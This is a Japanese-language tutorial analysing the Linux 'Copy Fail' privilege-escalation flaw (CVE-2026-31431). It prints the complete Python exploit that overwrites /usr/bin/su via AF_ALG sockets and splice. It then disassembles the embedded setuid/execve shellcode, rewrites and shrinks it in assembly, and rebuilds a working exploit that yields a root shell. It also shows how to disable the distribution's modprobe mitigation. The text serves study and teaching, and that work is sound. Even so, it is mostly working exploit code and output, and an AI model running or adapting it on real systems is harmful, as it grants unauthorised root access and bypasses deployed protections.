
CVE-2026-31431 (Copy Fail) — x86-64 アセンブリにおける分析と開発 | x86-64 アセンブリにおける分析と開発
Theori で公開されているソースコードを基に、完全に純粋なアセンブリ言語(外部ライブラリなし)に変換するまで、いくつかの演習を行います。```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## テスト環境
この演習は次のマシンで実施します。```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Pythonプログラムを実行して、システムが脆弱性を持つかどうかを検証します。エラーが発生した場合は脆弱性はなく、シェル sh が開いた場合は脆弱性があります。```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### 軽減策を無効にする
このマシンでは、自動セキュリティ更新を通じて軽減策がダウンロードされたため、失敗しました。これをテストするために、軽減策が含まれているファイルの名前を変更して防御を弱めました。```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
私たちはプログラムを再度テストし、今度はシェルが返され、自分たちがrootであることを確認しました。```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### 保護を再開する
演習が終了したら、以下のコマンドを実行して保護を再度有効にします。```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
最初に分析すべきは、zlibで圧縮された文字列が何であるかです。そのために、Pythonプログラムdecompress.pyを作成して解凍し、output.binというファイルを生成します。```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
ファイルの種類を実行し、分析します。```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
これがELF 64-bit LSB executableファイルであることがわかったので、調査してみましょう。```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
ELF構造は**120バイト**を占めている:**ELFヘッダ**(64バイト)+ **プログラムヘッダ**(56バイト)。マシンコードはバイト120(0x78)から始まり、これは**エントリポイントアドレス:0x400078**と一致する。
### コードの逆アセンブル
**エントリポイントアドレス:0x400078**が分かったので、これでコードの逆アセンブルを開始できる。```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
各パラメータの説明:
-D — Disassemble All. ファイルのすべての内容を逆アセンブルします。コードとしてマークされたセクションだけではありません。これがないと、-d は .text のみを逆アセンブルし、このファイルにはELFセクションがないため(純粋なバイナリ)、何も表示されません。-b binary — Binary format. objdumpにファイルをELFヘッダを解析しようとせずに生データとして扱うように指示します。これがないと、objdumpはファイルのELFヘッダを読み取ろうとし、失敗するか誤った逆アセンブルを行います。-m i386:x86-64 — Machine architecture. 逆アセンブルするための命令セットを指定します。i386 は基本ファミリ、:x86-64 は64ビットモードを指定します。-b binary を使用する場合に必要です。ELFヘッダがないため、objdumpはアーキテクチャを推測できません。-m がない場合、i386(32ビット)を想定し、逆アセンブルが正しく行われません — lea rdi, [rip+0xf] のような64ビット命令はゴミとしてデコードされます。-M intel — Syntax mode. AT&T (mov $0x69, %al) の代わりにIntel構文 (mov al, 0x69) を使用します。まとめ: -b binary を使用する場合、-m は必須です。objdumpはELFヘッダなしではアーキテクチャを推測できないためです。通常のELFファイル(-b binary なし)では、アーキテクチャはヘッダの e_machine に含まれているため、-m は必要ありません。
この場合の -z パラメータは重要です。後で説明しますが、パディングとして使用されるゼロがあり、このパラメータがないと次の内容が表示され、正確な逆アセンブルが得られません。```bash
9d: 00 00 add BYTE PTR [rax],al
...
### \"/bin/sh\" 文字列の識別
objdump の出力には、次のように表示されます:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
そして、0x80の位置には、次のものがあります:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
この最後の行を解釈すると、これは0x96の位置で始まり0x9Fで終わる文字列であることが推測されます。この文字列は以下のように見ることができます:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
最初の00は文字列(/bin/sh\0)の終わりを示すヌル終端文字です。残りの2つの00はアライメント用のパディングです。
コードをクリーンアップすると次のようになります:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> パディングにより、合計サイズが4で割り切れるようにします。Pythonのエクスプロイトは、ペイロードをページキャッシュに4バイトのチャンクで書き込むためです。サイズが4の倍数でない場合、最後のチャンクが不完全になり、書き込みが正しく行われません。
### 原本との同一性確認
このコードが、文字列を展開してバイナリとしてコンパイルした際に生成した **output.bin** ファイルと同一であることを確認します。```bash
> $ nasm -f bin payload.asm -o payload.bin
ファイル output.bin からコードのみを抽出します。最初の120バイトはELF構造に対応することがわかっているので、そのバイト数をスキップします。```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
私たちのコードが元のペイロードと同一であることを確認します。これを行う3つの方法を示します。```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
コード payload.asm が元のものと完全に一致していることを確認した上で、最適化していきます。```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
アライメントパディング: 120 (ヘッダー) + 35 (コード) = 155 -> +1 バイト = 156 / 4 = 39 チャンク。
**第2部**では、各最適化の理由を詳しく説明します。
コンパイル:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
ペイロードを直接実行するには、次のようにコンパイルしてリンクする必要があります。```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
警告を削除したい場合は、**`section .text`** の後に次の行を追加する必要があります:```assembly
global _start
_start:
元のペイロード(output.bin)のELFヘッダー(最初の120バイト)と、36バイトの最適化ペイロード(payload-optimized.bin)を結合します。いくつかの確認を行い、実行権限を付与して実行すると、シェルが得られます。```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## ELFヘッダーの分析
元のELFのヘッダー(120バイト)と最適化されたペイロード(36バイト)を連結すると、結果のファイルは156バイトになりますが、ヘッダーの**p_filesz**および**p_memsz**フィールドは依然として158、つまり160バイトの元のファイルの値を示しています。これらのフィールドを分析して修正します。
そのためには、ELFファイルのヘッダー構造を理解する必要があります。```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
プログラムヘッダーの p_filesz と p_memsz がどのような値を持つか確認します。これらは、ディスク上のファイルに存在するセグメントのバイト数と、ロード時にメモリに予約されるバイト数を示します。
p_filesz と p_memsz のオフセットは、それぞれ 0x60 と 0x68 です。```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### エンディアンの検証
目視で値が**リトルエンディアン**であることがわかります。ビッグエンディアンであれば巨大な値になり、160バイトのサイズと一致しないからです。確認するため、ELFヘッダーの **e_ident[5]** の値を調べます。
可能な値は以下です。
| 値 | 定数 | 意味 |
|---|---|---|
| 0x01 | ELFDATA2LSB | リトルエンディアン (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | ビッグエンディアン (SPARC, PowerPC, MIPS BE) |
実行します:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
リトルエンディアンであることが確認されました。10進数の値を確認します:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### サイズの比較
ファイルのサイズを一覧表示します。```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
元のファイルのサイズは160バイトですが、構造体では158バイトが割り当てられています。これは、ファイルの末尾に2バイトのパディングがあり、作者が正確を期して、ロードされるバイトのみを指定することにしたためです。158の代わりに160であっても、2バイトのパディングは決して実行されず(exitの後にあり)、参照もされないため、正常に実行されます。
最適化されたファイルは156バイトで、1バイトのパディングがあります。プログラムの作者と同じ精度の方針に従い、p_filesz と p_memsz を 155 に設定します。
155を10進数から16進数に変換します。```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
Program Headerの**p_filesz**フィールドと**p_memsz**フィールドが正しい値を持つことは良い習慣です。```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
変更が正しく適用されたことを確認します。```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
また、Program Headerを見て確認することもできます。```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
実行すると、正しく動作し続けます。```bash
$ ./payload-optimized.elf $
## エクスプロイトへの統合
最適化されたペイロードを圧縮し、エクスプロイトに挿入するための16進数文字列を返すプログラムを作成します。```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
元のエクスプロイト内の圧縮された文字列を、新しい最適化された文字列に置き換える。```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
最適化された payload で exploit をテストし、正しく動作することを確認しました。```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ テスト終了後は、[保護を再有効化する](#reactivar-la-protección)ことを忘れないでください。
## 連絡先
ご質問、ご提案、訂正などがありましたら、リポジトリ名を明記の上、以下までご連絡ください:
✉️ `[email protected]`
-z — ゼロシーケンスの抑制を無効にします。これにより、ゼロを省略せずにすべて表示します。--start-address=0x78 — オフセット0x78(120バイト)から開始します。ペイロードのELFヘッダとプログラムヘッダをスキップし、機械語コードのみを逆アセンブルします。これがないと、ヘッダを命令として逆アセンブルしてしまいます。